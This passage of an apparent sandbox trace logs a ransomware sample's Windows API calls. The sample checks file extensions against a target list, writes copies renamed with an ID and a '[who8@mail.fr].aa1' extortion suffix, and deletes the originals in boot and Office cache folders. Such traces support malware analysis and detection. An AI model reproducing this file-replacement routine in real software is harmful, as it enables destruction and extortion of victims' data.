lpNewFilePointer=0x0) returned 1 [0226.264] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0226.264] ReadFile (in: hFile=0x22c, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0226.323] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0226.323] ReadFile (in: hFile=0x22c, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0226.342] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0226.342] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0226.343] ReadFile (hFile=0x22c, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0) Thread: id = 13 os_tid = 0xba4 [0195.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3860260 [0195.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3870268 [0195.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5404f8 [0195.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x543218 [0195.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540510 [0195.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3a60020 [0195.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540528 [0195.029] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540528, Size=0x20) returned 0x56fac0 [0195.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540528 [0195.030] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540528, Size=0x20) returned 0x56fae8 [0195.030] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0195.030] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0195.030] Wow64DisableWow64FsRedirection (in: OldValue=0x2edff58 | out: OldValue=0x2edff58*=0x0) returned 1 [0195.030] lstrlenW (lpString="kernel32.dll") returned 12 [0195.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fac0 | out: hHeap=0x4f0000) returned 1 [0195.030] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0195.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56fae8 | out: hHeap=0x4f0000) returned 1 [0195.030] Sleep (dwMilliseconds=0x64) [0195.179] lstrcmpiW (lpString1=".LOG", lpString2=".aa1") returned 1 [0195.179] lstrlenW (lpString="BCD.LOG") returned 7 [0195.179] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.179] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.179] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.179] lstrlenW (lpString=".doc") returned 4 [0195.180] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0195.180] lstrlenW (lpString=".docx") returned 5 [0195.180] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0195.180] lstrlenW (lpString=".pdf") returned 4 [0195.180] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0195.180] lstrlenW (lpString=".xls") returned 4 [0195.180] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0195.180] lstrlenW (lpString=".xlsx") returned 5 [0195.180] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0195.180] lstrlenW (lpString=".ppt") returned 4 [0195.180] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0195.180] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.180] lstrlenW (lpString=".zip") returned 4 [0195.180] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0195.180] lstrlenW (lpString=".rar") returned 4 [0195.180] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0195.180] lstrlenW (lpString=".bz2") returned 4 [0195.180] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0195.181] lstrlenW (lpString=".7z") returned 3 [0195.181] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0195.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.181] lstrlenW (lpString=".dbf") returned 4 [0195.181] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0195.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.181] lstrlenW (lpString=".1cd") returned 4 [0195.181] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0195.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.181] lstrlenW (lpString=".jpg") returned 4 [0195.181] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0195.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.181] lstrlenW (lpString=".doc") returned 4 [0195.181] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0195.181] lstrlenW (lpString=".docx") returned 5 [0195.181] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0195.181] lstrlenW (lpString=".pdf") returned 4 [0195.181] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0195.182] lstrlenW (lpString=".xls") returned 4 [0195.182] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0195.182] lstrlenW (lpString=".xlsx") returned 5 [0195.182] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0195.182] lstrlenW (lpString=".ppt") returned 4 [0195.182] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0195.182] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.182] lstrlenW (lpString=".zip") returned 4 [0195.182] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0195.182] lstrlenW (lpString=".rar") returned 4 [0195.182] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0195.182] lstrlenW (lpString=".bz2") returned 4 [0195.182] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0195.182] lstrlenW (lpString=".7z") returned 3 [0195.182] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0195.182] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.182] lstrlenW (lpString=".dbf") returned 4 [0195.182] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0195.182] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.182] lstrlenW (lpString=".1cd") returned 4 [0195.182] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0195.183] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0195.183] lstrlenW (lpString=".jpg") returned 4 [0195.183] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0195.183] lstrcmpiW (lpString1=".DAT", lpString2=".aa1") returned 1 [0195.183] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0195.183] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0196.677] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=65536) returned 1 [0196.677] CloseHandle (hObject=0x160) returned 1 [0196.677] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0196.677] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0196.677] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0196.677] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.677] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.677] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0196.678] GetLastError () returned 0x0 [0196.678] ReadFile (in: hFile=0x160, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x10000, lpOverlapped=0x0) returned 1 [0196.686] WriteFile (in: hFile=0x15c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x10010, lpOverlapped=0x0) returned 1 [0196.688] ReadFile (in: hFile=0x160, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.688] WriteFile (in: hFile=0x15c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.688] SetEndOfFile (hFile=0x15c) returned 1 [0196.688] CloseHandle (hObject=0x15c) returned 1 [0196.690] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.697] SetEndOfFile (hFile=0x160) returned 1 [0196.698] CloseHandle (hObject=0x160) returned 1 [0196.698] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x26) returned 1 [0196.699] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0196.699] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.699] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.699] lstrlenW (lpString=".doc") returned 4 [0196.699] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0196.699] lstrlenW (lpString=".docx") returned 5 [0196.699] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0196.699] lstrlenW (lpString=".pdf") returned 4 [0196.699] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0196.699] lstrlenW (lpString=".xls") returned 4 [0196.699] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0196.699] lstrlenW (lpString=".xlsx") returned 5 [0196.699] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0196.699] lstrlenW (lpString=".ppt") returned 4 [0196.699] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0196.699] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.699] lstrlenW (lpString=".zip") returned 4 [0196.699] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0196.699] lstrlenW (lpString=".rar") returned 4 [0196.699] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0196.699] lstrlenW (lpString=".bz2") returned 4 [0196.699] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0196.699] lstrlenW (lpString=".7z") returned 3 [0196.700] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0196.700] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.700] lstrlenW (lpString=".dbf") returned 4 [0196.700] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0196.700] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.700] lstrlenW (lpString=".1cd") returned 4 [0196.700] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0196.700] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.700] lstrlenW (lpString=".jpg") returned 4 [0196.700] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0196.700] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.700] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.700] lstrlenW (lpString=".doc") returned 4 [0196.700] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0196.700] lstrlenW (lpString=".docx") returned 5 [0196.700] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0196.700] lstrlenW (lpString=".pdf") returned 4 [0196.700] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0196.700] lstrlenW (lpString=".xls") returned 4 [0196.700] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0196.700] lstrlenW (lpString=".xlsx") returned 5 [0196.701] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0196.701] lstrlenW (lpString=".ppt") returned 4 [0196.701] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0196.701] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.701] lstrlenW (lpString=".zip") returned 4 [0196.701] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0196.701] lstrlenW (lpString=".rar") returned 4 [0196.701] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0196.701] lstrlenW (lpString=".bz2") returned 4 [0196.701] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0196.701] lstrlenW (lpString=".7z") returned 3 [0196.701] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0196.701] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.701] lstrlenW (lpString=".dbf") returned 4 [0196.701] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0196.701] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.701] lstrlenW (lpString=".1cd") returned 4 [0196.701] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0196.702] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0196.702] lstrlenW (lpString=".jpg") returned 4 [0196.702] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0196.702] Sleep (dwMilliseconds=0x64) [0197.682] Sleep (dwMilliseconds=0x64) [0197.803] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0197.803] lstrlenW (lpString="Setup.xml") returned 9 [0197.803] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0197.803] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1886) returned 1 [0197.803] CloseHandle (hObject=0x18c) returned 1 [0197.803] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0197.803] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0197.804] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0197.804] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.804] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.804] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0197.804] GetLastError () returned 0x0 [0197.804] ReadFile (in: hFile=0x18c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x75e, lpOverlapped=0x0) returned 1 [0198.654] WriteFile (in: hFile=0x190, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x760, lpOverlapped=0x0) returned 1 [0198.726] ReadFile (in: hFile=0x18c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.727] WriteFile (in: hFile=0x190, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0198.727] SetEndOfFile (hFile=0x190) returned 1 [0198.727] CloseHandle (hObject=0x190) returned 1 [0198.733] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.733] SetEndOfFile (hFile=0x18c) returned 1 [0199.146] CloseHandle (hObject=0x18c) returned 1 [0199.147] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0199.147] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0199.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.147] lstrlenW (lpString=".doc") returned 4 [0199.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.147] lstrlenW (lpString=".docx") returned 5 [0199.147] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0199.147] lstrlenW (lpString=".pdf") returned 4 [0199.147] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.147] lstrlenW (lpString=".xls") returned 4 [0199.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.148] lstrlenW (lpString=".xlsx") returned 5 [0199.148] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0199.148] lstrlenW (lpString=".ppt") returned 4 [0199.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.148] lstrlenW (lpString=".zip") returned 4 [0199.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.148] lstrlenW (lpString=".rar") returned 4 [0199.148] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.148] lstrlenW (lpString=".bz2") returned 4 [0199.148] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.148] lstrlenW (lpString=".7z") returned 3 [0199.148] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.148] lstrlenW (lpString=".dbf") returned 4 [0199.148] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.148] lstrlenW (lpString=".1cd") returned 4 [0199.148] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.148] lstrlenW (lpString=".jpg") returned 4 [0199.149] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.149] lstrlenW (lpString=".doc") returned 4 [0199.149] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.149] lstrlenW (lpString=".docx") returned 5 [0199.149] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0199.149] lstrlenW (lpString=".pdf") returned 4 [0199.149] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.149] lstrlenW (lpString=".xls") returned 4 [0199.149] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.149] lstrlenW (lpString=".xlsx") returned 5 [0199.149] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0199.149] lstrlenW (lpString=".ppt") returned 4 [0199.149] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.149] lstrlenW (lpString=".zip") returned 4 [0199.149] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.149] lstrlenW (lpString=".rar") returned 4 [0199.149] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.149] lstrlenW (lpString=".bz2") returned 4 [0199.149] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.149] lstrlenW (lpString=".7z") returned 3 [0199.150] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.150] lstrlenW (lpString=".dbf") returned 4 [0199.150] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.150] lstrlenW (lpString=".1cd") returned 4 [0199.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.150] lstrlenW (lpString=".jpg") returned 4 [0199.150] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.150] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0199.150] lstrlenW (lpString="Proof.xml") returned 9 [0199.150] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0199.349] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1457) returned 1 [0199.349] CloseHandle (hObject=0x190) returned 1 [0199.349] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0199.349] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0199.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0199.349] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.349] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.349] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0199.350] GetLastError () returned 0x0 [0199.350] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, 